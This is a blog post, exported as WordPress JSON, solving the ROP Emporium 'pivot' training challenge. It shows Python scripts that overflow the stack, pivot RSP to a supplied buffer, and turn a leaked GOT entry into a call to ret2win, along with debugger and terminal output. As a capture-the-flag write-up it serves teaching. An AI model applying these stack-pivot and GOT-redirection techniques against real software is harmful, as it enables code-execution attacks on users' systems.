{"id":1099,"date":"2019-12-11T11:47:22","date_gmt":"2019-12-11T16:47:22","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1099"},"modified":"2019-12-11T11:48:16","modified_gmt":"2019-12-11T16:48:16","slug":"rop-emporium-pivot-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-pivot-solution\/","title":{"rendered":"ROP Emporium | pivot Solution"},"content":{"rendered":"<p>There&#8217;s only enough space for a three-link chain on the stack but you&#8217;ve been given space to stash a much larger ROP chain elsewhere. Learn how to pivot the stack onto a new location.<\/p>\n<p>The binary and challenge description can be found here:<br \/>\n<a href=\"https:\/\/ropemporium.com\/challenge\/pivot.html\">https:\/\/ropemporium.com\/challenge\/pivot.html<\/a><\/p>\n<p>In this challenge, we&#8217;re actually pivoting twice. Once because our ROP chain runs out of space, and again to access an unused function in a shared library.<\/p>\n<p>First, I&#8217;ll make sure ASLR is disabled (because we haven&#8217;t learned how to bypass that yet) and test run the binary:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/pivot $ echo 0 | sudo tee \/proc\/sys\/kernel\/randomize_va_space\r\n0\r\n\r\nandrew ~\/pivot $ .\/pivot \r\npivot by ROP Emporium\r\n64bits\r\n\r\nCall ret2win() from libpivot.so\r\nThe Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10\r\nSend your second chain now and it will land there\r\n&gt; test\r\nNow kindly send your stack smash\r\n&gt; testing\r\n\r\nExiting\r\n<\/pre>\n<p>How nice of them to give the address of where we&#8217;ll be pivoting to. The challenge description states, &#8220;To &#8216;stack pivot&#8217; just means to move the stack pointer elsewhere.&#8221; So let&#8217;s look for gadgets that might help with that:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/pivot_usefulGadgets.png\" alt=\"\" width=\"454\" height=\"277\" class=\"alignnone size-full wp-image-1111\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/pivot_usefulGadgets.png 454w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/pivot_usefulGadgets-300x183.png 300w\" sizes=\"auto, (max-width: 454px) 100vw, 454px\" \/><\/p>\n<p>There&#8217;s 4 gadgets here, only 2 of which we&#8217;ll need now; the first two. I can pop a value into RAX, then &#8220;xchg&#8221; that with RSP. The next link in our chain will then be at whatever address we popped into RAX. I&#8217;ll write a short Python script to test this out. It&#8217;ll simply pivot to the new address and execute the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> foothold_function()<\/span>.<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport sys\r\n\r\nbuf1  = b&quot;A&quot; * 40\r\nbuf1 += (0x400b00).to_bytes(8, &quot;little&quot;)       # pop rax; ret;\r\nbuf1 += (0x7ffff7bdaf10).to_bytes(8, &quot;little&quot;) # place to pivot to\r\nbuf1 += (0x400b02).to_bytes(8, &quot;little&quot;)       # xchg rax, rsp; ret\r\n\r\nbuf2  = (0x400850).to_bytes(8, &quot;little&quot;)       # foothold_function()\r\nbuf2 += b&quot;\\n&quot;\r\n\r\nsys.stdout.buffer.write(buf2)\r\nsys.stdout.buffer.write(buf1)\r\n<\/pre>\n<p>Testing it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/pivot $ .\/exploit.py | .\/pivot \r\npivot by ROP Emporium\r\n64bits\r\n\r\nCall ret2win() from libpivot.so\r\nThe Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10\r\nSend your second chain now and it will land there\r\n&gt; Now kindly send your stack smash\r\n&gt; foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soSegmentation fault (core dumped)\r\n<\/pre>\n<p>Once<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> foothold_function() <\/span>has been called, it&#8217;s GOT entry will be updated to point directly to it&#8217;s code, instead of back to the PLT. I can take that address, modify it to point to<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> ret2win() <\/span>instead, and redirect execution to that point. Looking at the <code>usefulGadgets<\/code> again, I see that <code>\"mov rax, qword [rax]\"<\/code> and <code>\"add rax, rbp\"<\/code> can be used. Before I can use those, however, I&#8217;ll need to find a <code>\"pop rax\"<\/code> gadget to get the GOT address loaded into RAX. After those, I&#8217;ll need to be able to call whatever value is in RAX:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/pivot_found_gadgets.png\" alt=\"\" width=\"488\" height=\"281\" class=\"alignnone size-full wp-image-1116\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/pivot_found_gadgets.png 488w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/pivot_found_gadgets-300x173.png 300w\" sizes=\"auto, (max-width: 488px) 100vw, 488px\" \/><\/p>\n<p>Now, let&#8217;s look at <code>libpivot.so<\/code> and figure out the offset between the two functions:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/pivot $ r2 libpivot.so \r\n\r\n&#x5B;0x00000870]&gt; aa\r\n&#x5B;Cannot analyze at 0x00000860g with sym. and entry0 (aa)\r\nCannot analyze at 0x00000868\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n\r\n&#x5B;0x00000870]&gt; f~ret\r\n0x00000abe 26 sym.ret2win\r\n\r\n&#x5B;0x00000870]&gt; f~foot\r\n0x00000970 24 sym.foothold_function\r\n0x00000ae8 85 str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so\r\n\r\n&#x5B;0x00000870]&gt; ? sym.ret2win - sym.foothold_function\r\nint32   334\r\nuint32  334\r\nhex     0x14e\r\noctal   0516\r\nunit    334\r\nsegment 0000:014e\r\nstring  &quot;N\\x01&quot;\r\nfvalue: 334.0\r\nfloat:  0.000000f\r\ndouble: 0.000000\r\nbinary  0b0000000101001110\r\ntrits   0t110101\r\n<\/pre>\n<p>I&#8217;ll need to add 334 bytes to the<span style=\"font-family: Courier New; color: #64e0e0; background: #001919;\"> foothold_function() <\/span>address in GOT. I can put this all together and expand on the exploit script from earlier:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n!\/usr\/bin\/env python3\r\n\r\nimport sys\r\n\r\nbuf1  = b&quot;A&quot; * 40\r\nbuf1 += (0x400b00).to_bytes(8, &quot;little&quot;) # pop rax; ret;\r\nbuf1 += (0x7ffff7bdaf10).to_bytes(8, &quot;little&quot;) # place to pivot to\r\nbuf1 += (0x400b02).to_bytes(8, &quot;little&quot;) # xchg rax, rsp; ret\r\n\r\nbuf2  = (0x400850).to_bytes(8, &quot;little&quot;) # PLT address of foothold_function()\r\nbuf2 += (0x400b00).to_bytes(8, &quot;little&quot;) # pop rax; ret;\r\nbuf2 += (0x602048).to_bytes(8, &quot;little&quot;) # GOT address of foothold_function()\r\nbuf2 += (0x400b05).to_bytes(8, &quot;little&quot;) # mov rax, qword &#x5B;rax]; ret\r\nbuf2 += (0x400900).to_bytes(8, &quot;little&quot;) # pop rbp; ret\r\nbuf2 += (334).to_bytes(8, &quot;little&quot;)\r\nbuf2 += (0x400b09).to_bytes(8, &quot;little&quot;) # add rax, rbp; ret\r\nbuf2 += (0x40098e).to_bytes(8, &quot;little&quot;) # call rax\r\nbuf2 += b&quot;\\n&quot;\r\n\r\nsys.stdout.buffer.write(buf2)\r\nsys.stdout.buffer.write(buf1)\r\n<\/pre>\n<p>Testing it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/pivot $ .\/exploit.py | .\/pivot \r\npivot by ROP Emporium\r\n64bits\r\n\r\nCall ret2win() from libpivot.so\r\nThe Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bdaf10\r\nSend your second chain now and it will land there\r\n&gt; Now kindly send your stack smash\r\n&gt; foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!}\r\n<\/pre>\n<p>It&#8217;s not pretty since there&#8217;s no newline before the start of the flag, but it works!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>There&#8217;s only enough space for a three-link chain on the stack but you&#8217;ve been given space to stash a much larger ROP chain elsewhere. Learn how to pivot the stack onto a new location &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-pivot-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">ROP Emporium | pivot Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1099","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1099","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1099"}],"version-history":[{"count":13,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1099\/revisions"}],"predecessor-version":[{"id":1117,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1099\/revisions\/1117"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1099"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1099"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1099"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}